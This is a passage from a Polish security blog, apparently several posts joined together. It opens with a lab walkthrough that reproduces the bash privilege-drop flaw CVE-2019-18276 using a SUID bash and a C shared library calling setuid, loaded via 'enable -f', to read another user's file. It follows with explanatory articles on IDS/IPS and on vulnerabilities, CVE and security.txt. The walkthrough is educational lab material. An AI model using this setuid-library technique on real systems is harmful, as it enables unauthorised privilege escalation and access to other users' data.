kali@kali:~Downloads/bash-4.4-rc1$ ./configure
kali@kali:~Downloads/bash-4.4-rc1$ make
kali@kali:~Downloads/bash-4.4-rc1$ make install

Od tej pory uruchamiając plik binarny powłoki z tego folderu, uruchomimy interpreter basha 4.4. Pamiętając, że podatność da się wykorzystać tylko na użytkownikach, którzy nie są rootem, należy stworzyć nowego użytkownika:

kali@kali:~$ sudo adduser john

Widać, że właścicielem basha jest standardowy użytkownik:

kali@kali:~/Downloads/bash-4.4-rc1$ ls -lah ./bash
-rwxr-xr-x 1 kali kali 5.0M Mar 17 06:52 ./bash

Należy zmienić właściciela pliku oraz ustawić flagę SUID:

kali@kali:~$ sudo chown john:john /home/kali/Downloads/bash-4.4-rc1/bash
kali@kali:~$ sudo chmod u+s /home/kali/Downloads/bash-4.4-rc1/bash

Uruchomienie powinno sprawić (przez obecność flagi SUID), że uruchomi się ona z uprawnieniami właściciela. Z uwagi na mechanizm porzucania uprawnień tak jednak się nie dzieje (euid=1000):

kali@kali:~/Downloads/bash-4.4-rc1$ ./bash
bash-4.4$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)
bash-4.4$

Stwórzmy więc plik tekstowy jako john i odbierzmy innym możliwość odczytywania pliku:

kali@kali:~$ sudo su john
john@kali:/home/kali$ cd
john@kali:~$ echo "What you see is what you get" > VerySecretFile
john@kali:~$ chmod o-r VerySecretFile
john@kali:~$ ls -lah VerySecretFile
-rw-r----- 1 john john 29 Mar 17 07:11 VerySecretFile

Standardowy użytkownik nie może odczytać teraz pliku johna:

kali@kali:~$ cat /home/john/VerySecretFile
cat: /home/john/VerySecretFile: Permission denied

Pora na właściwy exploit. Jeżeli wewnątrz basha wykonany zostanie kod, który użyje wywołania systemowego setuid() zmieniając euid na to, które przypisane jest johnowi, to powinno dać się odczytać jego plik. Ale jak to zrobić? Z pomocą przychodzi program enable. Stosuje się go w celu aktywowania i dezaktywowania wbudowanych w powłokę poleceń. Ma jeszcze jedną możliwość - przy fladze -f uruchamia zadaną bibliotekę współdzieloną i próbuje odczytać z niej nazwę nowego polecenia wbudowanego

Programy wbudowane w basha (ang. builtins) to takie, które są wewnętrzną i integralną częścią powłoki. Każde z tych poleceń jest bezpośrednio wykonywane w powłoce w przeciwieństwie do całej reszty programów, które najpierw muszą zostać przez powłoke załadowane, nim będzie można je uruchomić. Z łatwością można sprawdzić, które polecenia są wbudowane, a które nie:

kali@kali:~/Desktop$ type -f cd
cd is a shell builtin
kali@kali:~/Desktop$ type -f head
head is /usr/bin/head

Biblioteka to plik, który nie może być osobnym programem, a jest jedynie zbiorem zasobów i procedur, z których mogą korzystać pliki wykonywalne. Shared Object File natomiast jest takim rodzajem biblioteki, która jest automatycznie dołączana na etapie tzw. linkowania. W przeciwieństwie do bibliotek łączonych dynamicznie (ang. dynamic-link libraries - DLL) Shared Object File musi być obecna na etapie kompilacji.

W kilku linijkach można zawrzeć kod, który doprowadzi do zmiany uid. Aby to zrobić należy załączyć niezbędne biblioteki oraz stworzyć konstruktor, w którym użyte zostanie polecenie setuid do ustawienia uid na wartość uid Johna, które jest równe 1002:

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
void __attribute__ ((constructor)) initLibrary(void) {
 setuid(1002);
}

Potem należy skompilować kod do pliku obiektowego oraz pliku współdzielonego obiektu (ang. shared object file):

kali@kali:~$ gcc -c -fPIC lib.c -o lib.o
kali@kali:~$ gcc -shared -fPIC lib.o -o liboflibs.so

Widać raz jeszcze, że po uruchomieniu powłoki, standardowy użytkownik nie jest w stanie odczytać pliku johna, gdyż bash porzucił uprawnienia:

kali@kali:~$ ./Downloads/bash-4.4-rc1/bash
bash-4.4$ cat /home/john/VerySecretFile
cat: /home/john/VerySecretFile: Permission denied
bash-4.4$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)

Po załadowaniu biblioteki współdzielonej następuje błąd, gdyż nie wszystko zostało zaimplementowane. To jednak nie ma znaczenia, ponieważ interesujące polecenie setuid(1002) zostało wykonane w konstruktorze, co pozwala na odczytanie Bardzo Sekretnego Pliku Johna.

bash-4.4$ enable -f ./liboflibs.so asd
bash: enable: cannot find asd_struct in shared object ./liboflibs.so: ./liboflibs.so: undefined symbol: asd_struct
bash-4.4$ id
uid=1000(kali) gid=1000(kali) euid=1002(john) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)
bash-4.4$ cat /home/john/VerySecretFile
What you see is what you get
bash-4.4$

Podsumowanie

Podatność CVE-2019-18276 jest już załatana, co nie oznacza, że analiza jej mechaniki jest pozbawiona sensu. Mechanizmy sterowania uprawnieniami od lat są źródłem kłopotów w systemach operacyjnych, co pozwala nam z dużą dozą prawdopodobieństwa założyć, że w przyszłości spotkamy się z kolejnymi CVE w tym temacie.

Kompendium wiedzy - IDS i IPS

Wed, 08 Apr 2020 00:00:00 +0000

Obecnie żyjemy w czasach, w których ataki systemowe na systemy są codziennością. Według danych z F-Secure szacuje się, że w samej Polsce, dochodzi do ok. 700 ataków na godzinę. Dane osobiste czy firmowe są narażone na kradzież jak nigdy dotąd. Informowanie o zagrożeniach oraz zasadach postępowania przestało być wystarczające. Oprócz wiedzy ogólnie dostępnej, która potrafi być ulotna, należy podjąć niezbędne czynności mające na celu uzbrojenie się w dodatkowe zabezpieczenia.

Na rynku istnieje wiele rozwiązań poprawiających nasze bezpieczeństwo. Są to m. in. antywirusy lub etui RFID . Zabezpieczenia te chronią użytkownika przez zagrożeniami cybernetycznymi. Jednakże wektor ataku może być również skierowany w cały system, infrastrukturę teleinformatyczną, serwery. O ich bezpieczeństwo można zadbać stosując systemy takie jak IDS oraz IPS. W dzisiejszym artykule postaram się przybliżyć zasady funkcjonowania wraz z istniejącymi różnicami, jakie występują w wyżej wymienionych systemach.

IDS w pigułce

Zacznijmy w takim razie od początku.

IDS (skr. System Wykrywania Intruzów, ang. Intrusion Detection System) jest to system, którego zadaniem jest monitorowanie ruchu sieciowego pod kątem podejrzanych aktywności. Zazwyczaj występuje w postaci aplikacji, która skanuje sieć lub system poszukując nietypowego zachowania, bądź przekraczania uprawnień użytkowników lub plików. Każdy taki incydent jest niezwłocznie zgłaszany do administratora systemu lub jest zbierany w sposób scentralizowany za pomocą systemu zarządzania informacjami i zdarzeniami bezpieczeństwa (ang. Security information and event management, SIEM). SIEM zbiera wszystkie informacje z wielu źródeł, by odróżnić groźną aktywność od alarmów typu false positive.

false positive - zdarzenie, które uznajemy za prawdziwe, mimo że jest fałszywe. Przykładem mogłaby być sytuacja, w której lekarz mówi do otyłego mężczyzny, że jest w ciąży.

false negative - zdarzenie, które uznajemy za fałszywe, mimo że jest poprawne. Przykładem mogłaby być sytuacja, w której lekarz, mówi do kobiety w ciąży, że nie jest w ciąży.

System wykrywania intruzów możemy porównać do działania systemu chroniącego dom przed napaścią. Podczas włamania, nie zatrzyma on złodziei, lecz włączy alarm, wyśle stosowne ostrzeżenia do domowników, ochrony lub policji. Tak samo podczas włamania do sieci, po wykryciu ataku system wykrywania intruzów uruchomi wyśle ostrzeżenia do administratora lub do SIEM’u. Zazwyczaj jest on stosowany razem z firewall’ami, ale nie wolno mylić tych pojęć – zapory sieciowe służą wyłącznie do ochrony systemu przed niepowołanymi osobami. Można to porównać do ochrony stojącej przed budynkiem. Firewall pełniłby funkcję bramkarza, który wpuszcza do budynku uprawnione osoby. IDS natomiast byłby ochroniarzem, który chodzi po sali i wyszukuje osoby na podstawie tego jak wyglądają, a następnie sprawdzał, czy mogą one przebywać w budynku.

IDS-y są wykorzystywane do uzupełnienia całości dobrze zorganizowanego systemu bezpieczeństwa, na który powinny również składać się:

polityka bezpieczeństwa,
szyfrowanie danych,
weryfikacja użytkowników,
kontrola dostępu,
zapory sieciowe.

Rodzaje IDS

IDS możemy podzielić na dwa główne rodzaje - NIDS i HIDS.

Network Intrusion Detection System (NIDS)

Polega on na sprawdzaniu pakietów poruszających się po sieci. Wykonuje obserwacje ruchu przechodzącego na całej podsieci i dopasowuje go, a następnie jest przekazywany na podsieciach do zbioru znanych zagrożeń. Kiedy atak lub niestandardowe zachowanie jest wykryte, ostrzeżenie może zostać wysłane do administratora. NIDS wykonuje to wszystko pasywnie, przez co utrudnia intruzom wykrycie tego, że zostali zauważeni. Działa on w trybie bezładnym, czyli analizuje każdy pakiet. Jeżeli ustawimy kilka z nich w dobrze zlokalizowanych miejscach w sieci firmowej, to są one w stanie doskonale monitorować cały ruch. Niestety NIDS nie jest w stanie analizować szyfrowanych pakietów.

Host Intrusion Detection System (HIDS)

Działa na niezależnych urządzeniach (ang. host) lub urządzeniach w sieci. Monitoruje wchodzące i wychodzące pakiety, a następnie wysyła ostrzeżenie jeżeli zauważy złośliwą aktywność. Robi migawkę istniejących plików i porównuje ją z poprzednio zrobioną. Jeśli jakiekolwiek pliki zostały edytowane lub usunięte, ostrzeżenie jest wysyłane do administratora w celu sprawdzenia. Pozwala to na wykrywanie np. koni trojańskich. W związku z tym, że znajduje się on na urządzeniu jest w stanie wykryć ataki niewidoczne dla NIDS. Zaszyfrowane pakiety nie stanowią dla niego większego problemu. Niestety wymgają one bardzo często sporej ilości wolnego miejsca na dysku, obciążają system oraz są nie są najłatwiejsze w zarządzaniu. Kolejną wadą jest fakt, że może zostać wyłaczony podczas ataku DoS.

NIDS oraz HIDS mimo że znacznie różnią się od siebie, w połączeniu doskonale się uzupełniają. Dobrym pomysłem jest wprowadzenie tzw. rozproszonej sieci agentów, z których każdy działa jakby był gospodarzem systemu i wymienia się informacjami z innymi. Takie działanie, powoduje stworzenie bardzo dużej oraz szczegółowej bazy danych z sygnaturami, o czym później.

Network Node Intrusion Detection System (NNIDS)

Istnieje również trzeci, mniej znany, rodzaj IDS - Network Node Intrusion Detection System (NNIDS). Jest to system hybrydowy, połączenie NIDS oraz HIDS. Udało się w nim wyeliminować niektóre wady podanych wyżej rodzajów IDS. Podczas gdy NIDS pracuje w trybie bezładnym, NNIDS ogranicza się jedynie do wybranych pakietów krążących po sieci, co powoduje szybsze i wydajniejsze działanie. Jest on również niezależny od topologii sieci. Zaszyfrowane dane nie stanowią dla niego problemu, lecz powoduje to obciążenie procesora maszyny. Niestety konieczne jest zainstalowanie całego zestawu pakietów, gdyż każdy z nich musi przesyłać raporty do centralnej konsoli. Istnieje możliwość, że zostanie on wyłączony w trakcie ataku.

IPS w pigułce

Drugim systemem jest IPS (skr. System zapobiegania intruzom, ang. Intrusion Prevention System), nazywany także IDPS (ang. Intrusion detection and prevention system). Działa on na bardzo podobnej zasadzie co IDS, z tą różnicą, że jest w stanie od razu zatrzymać atakującego. Skanuje również sieć w poszukiwaniu niepokojącego zachowania lub przekraczania uprawnień użytkowników lub plików z tą różnicą, że w razie naruszenia jakiejkolwiek polityki bezpieczeństwa jest w stanie:

zamknąć sesję TCP, która została narażona i zablokować odpowiedni adres IP lub zablokować użytkownikowi dostęp do aplikacji oraz innych źródeł internetowych,
przeprogramować lub przekonfigurować firewall, by zapobiec takim atakom w przyszłości,
usunąć lub wymienić szkodliwą zawartość, która została w sieci po ataku,
uruchomić ponownie połączenie.

IPS stoi zaraz za firewall’em i zapewnia kompletną analizę niebezpiecznej zawartości pakietów. Jest umieszczony pomiędzy bezpośrednią komunikacją nadawcy i odbiorcy. Każdy pakiet, który jest przesyłany, jest dokładnie analizowany pod kątem bezpieczeństwa. Można powiedzieć, że IPS jest połączeniem zapory sieciowej oraz IDS.

Wróćmy do wcześniej przytoczonego przykładu z ochroną budynku. Firewall, czyli wcześniej wspomniany bramkarz wpuszcza tylko osoby, które mogą tam przebywać. IDS, który jest ochroniarzem chodzącym po sali, sprawdzałby osoby przebywające w pomieszczeniu, natomiast IPS pełniłby funkcję kierownika ochroniarzy, który jest w stanie dodatkowo wyprosić osobę z budynku.

Ponadto IPS-y są systemami skalowalnymi, co oznacza, że bez problemu można zwiększyć lub zmniejszyć ich ilość w sieci. Natychmiastowo podejmuje decyzje czy należy zaakceptować przychodzące pakiety czy odrzucić. Niestety idzie za tym pewna niedogodność. W związku z tym, że każdy pakiet musi być przeanalizowany, IPS nie sprawdza się w sieciach, w których przepływ danych jest większy niż 1GB/s, ponieważ może to spowodować sytuację, w której nie będzie możliwe poprawne sprawdzenie całej zawartości, co w konsekwencji może spowodować albo false positive’y albo stworzenie tzw. wąskiego gardła, które jest w stanie zakłócić optymalną funkcjonalność sieci teleinformatycznej.

Rodzaje IPS

Podobnie jak w przypadku systemów wykrywania intruzów, IPS-y możemy podzielić na dwa główne rodzaje - NIPS i HIPS.

Network-based Intrusion Prevention System (NIPS)

Wchodzi on w skład monitorowania urządzeń w sieci. Zazwyczaj jest skonfigurowany w taki sposób, aby blokował dostęp do niepotrzebnych usług sieciowych. Zapewnia on analizowanie infrastruktury teleinformatycznej w czasie rzeczywistym. Jeżeli NIPS uzna jakiś pakiet za szkodliwy, aktualny i wszystkie następne pakiety należące do podejrzanego przepływu są pomijane;

Host-based Intrusion Prevention System (HIPS)

Jego zadaniem jest skanowanie logów oraz plików hosta. Znaczącą zaletą tego rozwiązania jest to, że jest w stanie monitorować procesy urządzenia oraz chronić go przed krytycznymi problemami, jak np. usunięcie plików. Można dostosować HIPS do konkretnego urządzenia (komputer, serwer). Sprawdzanie plików zazwyczaj opiera się na wsadzeniu ich do tzw. piaskownicy . Tam pliki są analizowane pod kątem gotowych sygnatur i wzorców. Jeżeli okaże się, że jest to szkodliwe oprogramowanie, sprawdzanie zostaje zatrzymane, a jego wykonanie w normalnym systemie jest zabronione. HIPS stanowi połączenie funkcji antywirusowych, antyszpiegowskich, antyspamowych oraz zapór sieciowych.

Trzecim, nieoficjalnym rodzajem IPS są systemy rozproszone (hybrydowe), łączące dwa powyższe rozwiązania. Gromadzi się w nich dane z wielkiej liczby hostów oraz czujników sieciowych i przekazuje wyniki do centralnego systemu analizującego, który potrafi korelować i analizować dane, a następnie zwracać zaktualizowane sygnatury i wzorce zachowań, aby umożliwić wszystkim skoordynowanym systemom reagowanie i obronę przed szkodliwym zachowaniem.

Budowa i działanie

Każdy IDS oraz IPS składa się z trzech komponentów logicznych:

czujników (sensorów)
analizatorów
interfejsu użytkownika

Czujniki odpowiadają za gromadzenie danych. Wejściem czujnika może być dowolna część systemu, która może zawierać dowody włamania. Do rodzajów danych wejściowych należą pakiety sieciowe, pliki dzienników i ślady wywołań systemowych. Czujniki gromadzą i przekazuję te informacje analizatorowi.

Analizatory otrzymują dane od jednego lub więcej czujników albo od innych analizatorów. Jest on odpowiedzialny za ustalenie, czy doszło do włamania. Na wyjściu tego komponentu jest wskazanie (sugestia), że mogło dojść do włamania. Analizator może zawierać fakty przemawiające za tym, że włamanie miało miejsce. Może również dostarczać wskazówek co do działań, które należy wykonać w reakcji na włamanie. Dane z czujnika mogą być również przechowywane do późniejszej analizy i przeglądu w komponencie magazynującym lub w bazie danych.

Interfejs użytkownika umożliwia użytkownikowi obejrzenie wyników z systemu lub pokierowanie zachowaniem systemu. W niektórych systemach interfejs użytkownika może pokrywać się z komponentem zarządcy, kierownika instalacji lub konsoli operatorskiej.

Metody detekcji

Metody detekcji zarówno IDS i IPS nie różnią się znacznie. Bazują one na tych samych sposobach z tą różnicą, że IPS niezwłocznie po wykryciu nieprawidłowości podejmują działania zapobiegawcze. Najczęściej spotykane metody wykrywania prób włamania są oparte na sygnaturach lub o anomalie w systemie.

Systemy oparte na sygnaturach analizują konkretne wzorce ataków, które zaistniały w przeszłości. Pod uwagę brane są np. liczby bajtów, liczba ‘0’ lub ‘1’ przepływających przez sieć. Metoda ta doskonale radzi sobie z zagrożeniami, które miały miejsce, lecz ma ogromne trudności z wykrywaniem ataków, które nie są wpisane w sygnatury lub które jeszcze nie są znane. Sygnaturami są np. trzykrotna próba zalogowania się lub połączenie się z usługą potencjalnie niebezpieczną.

Drugą możliwością są systemy oparte na anomaliach w systemie. Zostały one wprowadzone, by wyszukiwać nieznane ataki, które są tworzone w bardzo szybkim tempie. Gromadzą one zbiór zachowań typowych dla użytkownika. Używają do tego uczenia maszynowego, by tworzyć godne zaufania modele aktywności, które nie zostały zaimplementowane w sygnaturach. Metoda ta posiada własność, która pozwala na wytrenowanie się według aplikacji i ustawień sprzętowych. Anomalie niekoniecznie muszą być związane z nietypowym ruchem w sieci. Przykładowym dziwnym zachowaniem jest próba zalogowania w nocy do hosta, na którym normalnie logowanie jest dostępne jedynie w godzinach otwarcia biura. W tym przypadku polega to na wcześniejszym opracowaniu modelu zachowań użytkowników przez zgromadzone dane i przetworzone dane z czujników. Odbywa się to zazwyczaj przez ciągłe lub okresowe monitorowanie danego celu. Po utworzeniu takiego modelu, w fazie wykrywania zachowanie jest obserwowane na bieżąco i porównywane z modelem aby klasyfikować czy jest ono dopuszczalne, czy wskazuje na anomalię.

Do porównywania obserwacji z modelem używa się reguł:

Statystycznych – analizuje obserwowane zachowanie z użyciem modeli jedno albo wieloczynnikowych lub modeli szeregów czasowych obserwowanych metryk. Początkowo używane były jedynie modele jednoczynnikowe, lecz z czasem naukowcy doszli do wniosku, że ich analiza jest zbyt powierzchowna i utworzyli modele wieloczynnikowe. Zdecydowaną zaletą takiego podejścia jest jego prostota, niski koszt obliczeniowy oraz brak założeń dotyczących zachowania. Największą wadą jest trudność w doborze odpowiednich miar umożliwiających uzyskanie rozsądnej równowagi między false positive i false negative.
Oparte na wiedzy – używane jest przez systemy eksperckie, które obserwują zachowanie według zbioru reguł modelujących. Reguły są wypracowywane w fazie ćwiczebnej, w której obserwowane dane są zaliczane do różnych klas. Następnie dane te wykorzystywane są do klasyfikowania obserwowanych danych w fazie wykrywania. Zaletami takiego podejścia są jego odporność i elastyczność. Wadami są trudność i czas wymagany do wypracowania wysokiej jakości wiedzy na podstawie danych oraz niezbędna pomoc ekspertów
Uczenie maszynowe – metody automatycznego określania odpowiedniego modelu klasyfikacji na podstawie danych treningowych, z użyciem technik eksploracji danych. Wykorzystywane są techniki eksploracji danych w celu automatycznego zbudowania modelu z użyciem etykietowanych, zwykłych danych ćwiczebnych. Nadaje się on do obserwowania danych jako normalnych i odbiegających od normy. Zaletą takiego podejścia jest elastyczność, adaptowalność i zdolność do wychwytywania współzależności między obserwowanymi metrykami. Zasadniczą wadą jest ilość czasu i zasobów obliczeniowych wymaganych w tym procesie. Jednakże po wygenerowaniu modelu, dalsza analiza jest dość wydajna.

Wykrywanie ataków z wewnątrz sieci, np. firmy, jest dużo trudniejsze, gdyż różnice między zachowaniami standardowymi i nietypowymi mogą być nieznaczne. Wykrywanie naruszeń tylko za pomocą analizowania anomalii w systemie nie jest wystarczalne, dlatego podjęto pracę nad innym, skuteczniejszym, wydajniejszym sposobem wykrywania ataków.
I tak oto powstała metoda sygnaturowa (heurystyczna), która opiera się na obserwowaniu zdarzeń w systemie i stosowaniu zbioru sygnatur lub zbioru reguł charakteryzujących niechcianą ingerencję. Jest to idealne dopełnienie metody anomalii. Sygnatury muszą być na tyle duże, by zminimalizować odsetek fałszywych alarmów z utrzymaniem wystarczającego dużego odsetka wykrywania danych szkodliwych. Metoda ta jest powszechnie stosowana w programach antywirusowych. Zaletami są niskie koszty zasobów oraz powszechna akceptacja. Do wad należy ciągłe uaktualnianie i identyfikacja malware w celu wytworzenia sygnatur nadających się do wykrywania ataków dnia zerowego , dla których sygnatury nie istnieją.

Systemy zapobiegania intruzom (IPS) posiadają jeszcze jeden sposób detekcji. Rozpoznają one różnice różnice w protokołach, poprzez analizę z wcześniej zaobserwowanymi zdarzeniami.

Dodatkowe możliwości IPS

HIPS zazwyczaj oferuje ochronę komputera biurkowego w obszarach:

wywołania systemowe – może zostać skonfigurowany tak, aby sprawdzał każde wywołanie systemowe pod kątem złośliwych charakterystyk,
dostęp do systemu plików – może zagwarantować, że wywołania systemowe dotyczące dostępu do plików są nieszkodliwe i spełniają zasady przyjętej polityki,
ustawienia w rejestrze systemowym – może zagwarantować, że rejestr systemowy nie zostanie naruszony,
wejście-wyjście hosta – może sprawdzać i wymuszać właściwą interakcję klienta z siecią i jego odpowiednie współdziałanie z innymi urządzeniami.

Do metod stosowanych w NIPS do identyfikowania szkodliwych pakietów można wymienić:

dopasowywanie wzorców – skanuje przychodzące pakiety pod kątem występowania w nich określonych ciągów bajtów zapamiętanych w bazie danych znanych ataków,
dopasowywanie stanów– poszukuje się znamion ataków w kontekście strumienia ruchu, a nie indywidualnych pakietów,
anomalie protokołowe – poszukuje się odchyleń od standardów przyjętych w dokumentach RFC,
anomalie ruchu – obserwuje się ruch doszukując się w nim nienormalnych aktywności, takich jak zatapianie pakietami UDP lub pojawienie się nowej usługi w sieci,
anomalie statystyczne – opracowuje wzorce normalnego zapotrzebowania na ruch i przepustowość i ogłasza alarmy w przypadku odchyleń od normy.

Podsumowanie

Ciężko jest mówić o IDS, nie mówiąc o IPS. Mimo, że są do siebie bardzo podobne, nieznacznie się różnią. Zadaniem IDS jest jedynie wykrywanie zagrożeń i zgłaszanie incydentów w wyznaczone do tego miejsce, natomiast IPS jest w stanie dodatkowo zablokować połączenie lub usunąć szkodliwy plik. Obydwa rozwiązania można umieścić albo w sieci (NIDS, NIPS), albo na urządzeniu końcowym (HIDS, HIPS). Network-based analizują pakiety przepływające w sieci, natomiast Host-based kontrolują aplikacje lub logi w systemie użytkownika. Istnieją rozwiązania hybrydowe, które łączą obydwa powyższe rozwiązania. Złośliwe oprogramowanie lub nietypowe zachowanie jest wykrywane za pomocą porównania ze wzorcami (metoda sygnaturowa) lub za pomocą anomalii w systemie (metoda statystyczna, heurystyczna). Systemy zapobiegania intruzom dodatkowo są w stanie analizować protokoły pod kątem poprawności. Coraz częściej stosuje się nazewnictwo IDPS (Intrusion Detection Prevention System), zamiast osobno IDS i IPS. Można by pisać jeszcze długo, jednak ze szczegółowych mógłby powstać osobny artykuł. Każdy pragnący wejść w świat BlueTeam’ingu powinien zapoznać się z tym i samemu pogłębić swoją wiedzę, ponieważ każde narzędzie jest na swój sposób unikatowe.

Przydatne linki

W Interncie można znaleźć mnóstwo materiałów o tych systemach omówionych przeze mnie w tym artykule. Wybrałem zatem te ciekawsze i które moim zdaniem zasługują na większą uwagę.

Intrusion Detection System	Intrusion Prevention system
Barracuda	Barracuda
Csonline	ComputerWorld
Searchsecurity	DigitalGuardian

Kompendium wiedzy - podatności

Wed, 25 Mar 2020 00:00:00 +0000

Seria Kompendium wiedzy ma na celu zebranie podstawowych informacji oraz przydatnych linków w jednym miejscu, aby każdy mógł w pełni zrozumieć wybrany temat oraz samodzielnie go zbadać. W pierwszym artykule zajmiemy się podatnościami - podstawowe definicje, wprowadzenie do oceny CVSS oraz jak rozszyfrować informacje, które można znaleźć przy każdej z nich.

Ze względu na fakt, że spolszczanie niektórych sformułowań jest…okropne, będę umieszczać w nawiasach angielskie sformułowania, odpowiadające spolszczeniu. Nie będę używać też języka polskiego na siłę, więc w niektórych miejscach zostawiam oryginalne zwroty.

Czym jest podatność (vulnerability)?

Najkrócej mówiąc, jest to słabość w systemie informatycznym wykorzystywana przez tzw. cyberprzestępców (threat actors). Podatność może istnieć w systemie, w oprogramowaniu (software) lub bezpośrednio w fizycznym urządzeniu (hardware).

Powszechne typy ataków/luk, które wykorzystują podatności

Brak poprawnej walidacji wprowadzanych danych (input validation)
- Wstrzyknięcie kodu (code injection)
  - SQL (SQL injection)
  - komendy systemowe (OS injection)
- Cross-site scripting (XSS)
- Path traversal
- XML External Entity (XXE)
Błędnie zaprojektowany system/oprogramowanie
- Brak szyfrowania danych
- Brak autentykacji dla funkcji krytycznych oprogramowania
- Brak autoryzacji
- Używanie skompromitowanych algorytmów szyfrowania (np. DES)
- Ustawienie haseł podatnych na ich odgadnięcie (ataki typu bruteforce)
- Bugi
- Brak weryfikacji sum kontrolnych pobieranych pakietów np. aktualizujących oprogramowanie
Błędy w pamięci
- Przepełnienie bufora (buffer overflow) - zapisanie przez programistę nadprogramowych, nieprzewidzianych danych w określonym miejscu w pamięci.
Hardware
- Side-channel attack - analiza parametrów fizycznych (pobór prądu, temperatura, czas wykonywania żądań, fale elektromagnetyczne), aby obejść zabezpieczenia. Przykładem może być analiza temperatury przycisków terminala, w celu otrzymania kodu PIN kupującego.
Eskalacja uprawnień (priviledge escalation) - wykonanie żądania aplikacji/atakującego przez aplikację uprzywilejowaną np. systemową na prawach systemu.

Najbardziej niebezpiecznymi podatnościami są takie, które po ich wykorzystaniu pozwalają na zdalne wykonanie kodu (RCE - remote code execution). Pozwala to atakującemu działać w systemie/oprogramowaniu niezauważalnie, szpiegować ofiarę przez długi czas, rozdystrybuować przygotowane złośliwe oprogramowanie (malware), infekować powiązane urządzenia w sieci, przeprowadzać rekonesans itd. Przy wykryciu podatności RCE w swoim oprogramowaniu należy niezwłocznie ją przeanalizować oraz jeśli to możliwe - wdrożyć zalecenia producenta.

Co zawiera w sobie opis podatności?

W opisie podatności (na stronie producenta, w bazie NVD (National Vulnerability Database), w Mitre) można znaleźć:

Krótką informację o podatności lub luce.
Numer CVE.
Podatne wersje systemów/oprogramowania.
Zalecane możliwości złagodzenia wpływu podatności (mitigation) i jej obejścia (workaround).
Wycena dotkliwości (Severity) wykrytej podatności.
Określenie możliwości wykorzystania podatności oraz jej wpływu za pomocą CVSS (Common Vulnerability Scoring System).
Referencje, odnośniki do strony producenta, linki do Proof of Concept/Exploit’ów w sieci.
Wskazanie kategorii CWE (Common Weakness Enumeration), w której nie dopilnowano dobrych manier w zabezpieczaniu oprogramowania dla danej podatności.

Gdzie można zgłosić odkrytą podatność?

Bug Bounty

Jeśli zauważy się jakąkolwiek nieprawidłowość techniczną działania oprogramowania/systemu, która może naruszyć bezpieczeństwo, to zawsze można to zgłosić organizacji poprzez tzw. program Bug Bounty.

Bug Bounty jest to akcja stworzona przez firmy, która ma na celu zachęcić do zgłaszania podatności przez osoby z zewnątrz poprzez wynagrodzenie pieniężne, znalezienie się na liście sławy, gadżety itd. Popularnymi korporacjami, które aktywnie je prowadzą są np. Facebook, Google, Paypal, Spotify itd. Najczęściej formę zgłaszania przez Bug Bounty wybierają obeznani w temacie tzw. bug hunter, którzy na co dzień szukają dziur w całym w oprogramowaniu.

Całkiem sporą listę programów bug bounty można znaleźć na stronie BugCrowd.

security.txt

Drugą możliwą opcją, jest sprawdzenie pliku security.txt na stronie web serwisu/firmy/producenta. Ten plik walczy o prawa standardu RFC - jego celem jest ułatwienie komunikacji z analitykami bezpieczeństwa z różnych środowisk, którzy zauważyli jakąś nieprawidłowość i chcieliby ją zgłosić do osoby odpowiedzialnej za wadliwy komponent.

Ten plik można znaleźć wpisując dane ścieżki:

https://example.com/.well-known/security.txt

lub

https://example.com/security.txt

Plik security.txt składa się zazwyczaj z pól:

Contact - specjalna skrzynka mailowa, adres strony do zgłaszania bugów
Encryption - wskazanie klucza PGP do bezpiecznej komunikacji z działem cyberbezpieczeństwa
Acknowledgments - wskazanie na galerie sław, podziękowania dla badaczy

Dodatkowo można znaleźć:

Preffered-Languages - wskazanie w jakim języku najlepiej się komunikować
Canonical - wskazanie adresu URL na którym jest plik security.txt
Policy - wskazanie na ustaloną politykę zgłaszania bugów, niuansów prawnych, reguł itd.
Hiring - miejsce na podzielenie się ofertą pracy dla “bezpieczników”

W sieci można znaleźć oficjalną stronę pomysłu security.txt, która udostępnia kreator umożliwiający stworzenie tego pliku wedle ustalonych reguł - Securitytxt.org.

Przykładowe strony, które mają umieszczone security.txt:

Google - https://google.pl/.well-known/security.txt

Akurat z flagą CTFa google ;)

Niebezpiecznik - https://niebezpiecznik.pl/security.txt

Przykład z polskiego podwórka - Niebezpiecznik.

Trzeba pamiętać, że nie jest to przyjęty ogólnie standard, stosowanie security.txt jest dobrą manierą, więc można się napotkać na brak tego pliku w innych firmach/korporacjach. Idea jest wciąż rozwijana.

CVE - Common Vulnerabilities and Exposures

Jest to lista unikalnych podatności oraz luk, które są kategoryzowae ustalonym oraz globalnym schematem. Celem CVE jest ułatwienie dzielenia się informacjami o podatnościach dla ludzi/narzędzi/usług/repozytoriów, stosując ich unikalną numerację - tzw. CVE ID.

Budowa numeru CVE.

Aby otrzymać CVE ID należy zgłosić się do CVE Numbering Authorities (CNAs) wedle instrukcji: https://cve.mitre.org/cve/request_id.html

Zazwyczaj prośby o numery CVE ID są zgłaszane przez producentów, a osoba zgłaszająca podatność jest wyręczona z tego obowiązku.

Więcej o systemie CVE można przeczytać tutaj.

Severity

Dzięki wycenie severity można szybko ocenić możliwy wpływ podatności, gdyby została ona wykorzystana. Jest określane w skali:

Severity	Points
None	0.0
Low	0.0-3.9
Medium	4.0-6.9
High	7.0-8.9
Criticial	9.0-10.0

Im większa liczba punktów, tym podatność ma większy wpływ na bezpieczeństwo podatnego systemu/oprogramowania. Punkty są przydzielane na podstawie systemu punktowania podatności CVSS.

Mitygacja

Odpowiednio mitygując zagrożenie, jesteśmy w stanie ograniczyć jego potencjalne skutki, gdyby atakujący wykorzystał daną podatność przeciwko nam. Takimi działaniami może być np. przeprowadzenie aktualizacji, ustawienie dodatkowej konfiguracji, detekcja ruchu w systemach bezpieczeństwa dzięki odpowiednio zbudowanej regule itd.

Workaround jest czasem wskazywany przez producenta jako możliwa mitygacja zagrożenia, poprzez np. nie korzystanie z podatnego komponentu.

aktualizacja > workaround oficjalny (producenta) > workaround nieoficjalny (pasjonatów)

